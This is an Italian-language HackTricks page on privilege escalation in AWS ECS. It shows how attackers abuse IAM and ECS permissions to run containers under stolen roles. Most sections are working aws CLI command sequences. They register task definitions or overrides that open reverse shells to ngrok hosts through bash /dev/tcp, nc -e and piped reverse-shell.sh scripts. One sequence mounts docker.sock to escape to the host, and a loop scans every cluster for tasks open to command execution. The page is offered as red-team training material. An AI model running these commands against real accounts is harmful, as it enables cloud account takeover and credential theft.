AWS - ECS Privesc

Reading time: 11 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

ECS

Maggiori informazioni su ECS in:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Un attaccante che sfrutta le permission iam:PassRole, ecs:RegisterTaskDefinition e ecs:RunTask in ECS può generare una nuova task definition con un container malevolo che ruba le metadata credentials e eseguirla.

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potential Impact: Privesc diretto verso un ruolo ECS differente.

iam:PassRole,ecs:RunTask

Un attacker che ha i permessi iam:PassRole e ecs:RunTask può avviare un nuovo ECS task con valori modificati di execution role, task role e command del container. Il comando CLI ecs run-task contiene il flag --overrides che permette di cambiare a runtime executionRoleArn, taskRoleArn e il command del container senza toccare la task definition.

I ruoli IAM specificati per taskRoleArn e executionRoleArn devono consentire/essere autorizzati ad essere assunti da ecs-tasks.amazonaws.com nella loro trust policy.

Inoltre, l'attacker deve conoscere:

  • ECS cluster name
  • VPC Subnet
  • Security group (se non viene specificato verrà usato quello di default)
  • Task Definition Name and revision
  • Name of the Container
bash
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

Nel frammento di codice sopra un attacker sovrascrive solo il valore di taskRoleArn. Tuttavia, l'attacker deve avere il permesso iam:PassRole sul taskRoleArn specificato nel comando e sul executionRoleArn specificato nella task definition affinché l'attacco possa avvenire.

Se il ruolo IAM che l'attacker può passare ha privilegi sufficienti per scaricare l'immagine ECR e avviare il task ECS (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer, ecr:BatchGetImage, ecr:GetAuthorizationToken), allora l'attacker può specificare lo stesso ruolo IAM sia per executionRoleArn che per taskRoleArn nel comando ecs run-task.

sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

Impatto potenziale: Direct privesc a qualsiasi ECS task role.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Proprio come nell'esempio precedente un attacker che abusa dei permessi iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask in ECS può generare una nuova task definition con un malicious container che ruba le metadata credentials e eseguirla.
Tuttavia, in questo caso è necessario che sia disponibile una container instance su cui eseguire la task definition malevola.

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potential Impact: privesc diretto su qualsiasi ruolo ECS.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Come nell'esempio precedente, un attaccante che abusa dei permessi iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService o ecs:CreateService in ECS può generare una nuova task definition con un container malevolo che ruba le credenziali dei metadata e eseguirlo creando un nuovo service con almeno 1 task in esecuzione.

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Potenziale impatto: privesc diretto su qualsiasi ECS role.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

In realtà, solo con queste autorizzazioni è possibile usare overrides per eseguire comandi arbitrari in un container con un ruolo arbitrario con qualcosa del genere:

bash
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Potential Impact: Privesc diretto a qualsiasi ruolo ECS.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Questo scenario è come i precedenti ma senza il permesso iam:PassRole.
Questo è comunque interessante perché se puoi eseguire un container arbitrario, anche se senza un ruolo, potresti eseguire un container privilegiato per evadere verso il nodo e rubare l'EC2 IAM role e gli altri ruoli dei container ECS in esecuzione sul nodo.
Potresti persino forzare altre task a essere eseguite all'interno dell'istanza EC2 che comprometti per rubare le loro credenziali (come discusso nella Privesc to node section).

warning

Questo attacco è possibile solo se l'ECS cluster usa EC2 e non Fargate.

bash
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Un attacker con i permessi ecs:ExecuteCommand, ecs:DescribeTasks può eseguire comandi all'interno di un container in esecuzione ed esfiltrare l'IAM role ad esso associato (è necessario il permesso di describe perché è richiesto per eseguire aws ecs execute-command).
Tuttavia, per farlo, l'istanza del container deve eseguire l'ExecuteCommand agent (che di default non lo fa).

Pertanto, l'attacker potrebbe provare a:

  • Provare a eseguire un comando in ogni container in esecuzione
bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • Se ha ecs:RunTask, eseguire un task con aws ecs run-task --enable-execute-command [...]
  • Se ha ecs:StartTask, eseguire un task con aws ecs start-task --enable-execute-command [...]
  • Se ha ecs:CreateService, creare un service con aws ecs create-service --enable-execute-command [...]
  • Se ha ecs:UpdateService, aggiornare un service con aws ecs update-service --enable-execute-command [...]

Puoi trovare esempi di queste opzioni nelle precedenti sezioni ECS privesc.

Potenziale impatto: Privesc a un ruolo diverso associato ai container.

ssm:StartSession

Consulta la ssm privesc page per vedere come puoi abusare di questo permesso per privesc to ECS:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Consulta la ec2 privesc page per vedere come puoi abusare di questi permessi per privesc to ECS:

AWS - EC2 Privesc

ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole

Un attacker con questi permessi potrebbe potenzialmente registrare un'istanza EC2 in un cluster ECS ed eseguire task su di essa. Questo potrebbe permettere all'attacker di eseguire codice arbitrario nel contesto dei task ECS.

  • TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

note

TODO: Test this

Un attacker con i permessi ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, e ecs:DescribeTaskSets può creare un task set malevolo per un servizio ECS esistente e aggiornare il primary task set. Questo consente all'attacker di eseguire codice arbitrario all'interno del servizio.

bash
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Impatto potenziale: Eseguire codice arbitrario nel servizio interessato, potenzialmente compromettendone la funzionalità o esfiltrando dati sensibili.

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks